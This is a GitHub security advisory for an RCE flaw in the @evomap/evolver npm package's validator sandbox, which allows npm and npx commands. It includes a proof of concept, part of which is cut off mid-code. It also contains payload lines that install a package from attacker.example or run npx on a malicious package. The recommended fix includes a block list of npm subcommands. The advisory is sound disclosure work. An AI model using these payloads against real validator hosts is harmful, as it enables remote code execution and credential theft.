GitHub Advisoryadvisory · npm

GHSA-jxh8-jh77-xh6g @evomap/evolver's validator sandbox allowlist permits `npm`/`npx`, yielding RCE from Hub-delivered validation tasks via lifecycle scripts

HIGH Published 2026-05-05 Modified 2026-05-05 Official page ↗
Ecosystem
npm
Packages
@evomap/evolver
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-78
Reviewed
2026-05-05

Affected packages

• npm @evomap/evolver: < 1.70.0-beta.5 → fixed in 1.70.0-beta.5

Description

Summary The validator-mode sandbox executor (`src/gep/validator/sandboxExecutor.js`) places `npm` and `npx` in its hard executable allowlist. Because `npm install ` and `npx -y -p ` execute arbitrary code by design (preinstall/install/postinstall lifecycle scripts and remote-package bin entries), and because validator nodes consume `validation_commands` strings from unsigned Hub responses with no per-response signature check, an attacker who controls or MITMs the Hub achieves automatic remote code execution on every validator node within one daemon poll (default 60s). Details End-to-end chain: 1. `src/gep/validator/index.js:71-87` — `fetchValidationTasks()` POSTs to `/a2a/fetch` and reads `validation_tasks` from the JSON response. The outbound request is signed via `buildHubHeaders()`, but the Hub's response is parsed directly with `await res.json()` and no signature is verified on `data.payload`. 2. `src/gep/validator/index.js:98-108` — `validateOneTask()` extracts `task.validation_commands` (an array of attacker-controlled strings) and passes it straight to `runInSandbox(commands, {})`. No call to `policyCheck.isValidationCommandAllowed()` happens on this path. The author's own comment at `sandboxExecutor.js:41-42` acknowledges this gap: *"This closes the gap where validation_commands go straight from Hub to runInSandbox without passing through policyCheck.isValidationCommandAllowed()."* 3. `src/gep/validator/sandboxExecutor.js:172-218` — `runSingleCommand` calls `parseCommand(cmd)`, then checks `ALLOWED_EXECUTABLES.has(parsed.executable)`: ```js // sandboxExecutor.js:35 const ALLOWED_EXECUTABLES = new Set(['node', 'npm', 'npx']); ``` `parseCommand` only rejects shell metacharacters (`| & ; > "Any command whose first token is not in this set is rejected before spawn(). This prevents command injection via Hub-delivered task.command strings even if Hub itself is compromised or mis-signs a task." Putting `npm` and `npx` on that allowlist defeats that stated goal — both are arbitrary-code-execution-by-design tools. PoC Reproduced against v1.70.0-beta.4 (HEAD on `main`): Step 1 — plant a malicious package locally (the remote-tarball variant works identically; npm fetches and runs lifecycle scripts in both cases): ```bash mkdir -p /tmp/evil-pkg-validator cat > /tmp/evil-pkg-validator/package.json { console.log('overallOk:', o.overallOk, 'exitCode:', o.results[0].exitCode); console.log('PWNED:', require('fs').readFileSync('/tmp/pwned-by-validator-test','utf8')); });" ``` Observed output (verified): ``` overallOk: true exitCode: 0 PWNED: RCE uid=0 time=1777213140205 ``` The sandbox reports `overallOk: true` (it sees a clean exit-0 from `npm`), while the preinstall script has already written `/tmp/pwned-by-validator-test` outside the sandbox directory — uncontained code execution as the validator UID. Remote-only variant (no local file required): a compromised or MITM'd Hub returns: ```json { "validation_commands": ["npm install https://attacker.example/evil.tgz --no-audit --no-fund"] } ``` or ```json { "validation_commands": ["npx -y -p [email protected] evil-cmd"] } ``` Both pass `parseCommand()` (no shell metacharacters), pass `ALLOWED_EXECUTABLES.has('npm'|'npx')`, and `assertNodeCommandSafe` is a no-op for them. npm/npx fetch the remote tarball and execute its lifecycle/bin scripts on the validator host. Impact • Arbitrary code execution as the evolver/validator process UID on every validator node that polls the malicious Hub (one cycle ≈ 60s by default). • Credential exfiltration: HUB_NODE_SECRET, A2A node identity, any cloud/cred material readable by the process. • Persistence / lateral movement: write to user-writable cron, systemd-user units, shell rc files; pivot into the host's container / VM. • Wormable across the network: a single Hub compromise auto-RCEs every node running validator mode — and validator mode is opt-out / on by default since v1.69.0. • Defeats the documented sandbox guarantee: the executor advertises defense against a compromised Hub; in practice, two of its three allowed binaries are arbitrary-code-execution tools. Recommended Fix Remove `npm` and `npx` from `ALLOWED_EXECUTABLES`. Validation tasks need only `node `: ```js // src/gep/validator/sandboxExecutor.js const ALLOWED_EXECUTABLES = new Set(['node']); ``` If `npm test` / `npx vitest` style commands must remain reachable from the Hub path, harden them explicitly: ```js function assertNpmCommandSafe(parsed) { if (parsed.executable !== 'npm' && parsed.executable !== 'npx') return; // Block install/exec/run-script that fetch or execute lifecycle scripts. const sub = parsed.args.find((a) => !a.startsWith('-')); const FORBIDDEN = new Set(['install', 'i', 'add', 'ci', 'exec', 'x', 'run', 'run-script', 'rebuild', 'pack', 'publish']); if (FORBIDDEN.has(sub)) { throw new Error('npm/npx subcommand not allowed in sandbox: ' + sub); } // Require --ignore-scripts on every npm invocation as defense-in-depth. if (parsed.executable === 'npm' && !parsed.args.includes('--ignore-scripts')) { throw new Error('npm in sandbox requires --ignore-scripts'); } // npx always fetches+executes — disallow entirely. if (parsed.executable === 'npx') { throw new Error('npx is not allowed in sandbox'); } } ``` Additionally: 1. **Sign the Hub's `/a2a/fetch` *response* the same way outbound requests are signed (`buildHubHeaders`). Verify the signature on `data.payload` in `fetchValidationTasks` before handing tasks to `runInSandbox`. This closes the network-MITM variant that does not require Hub compromise. 2. Run `runInSandbox` under real …

Related

Weakness · CWE (1)

  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References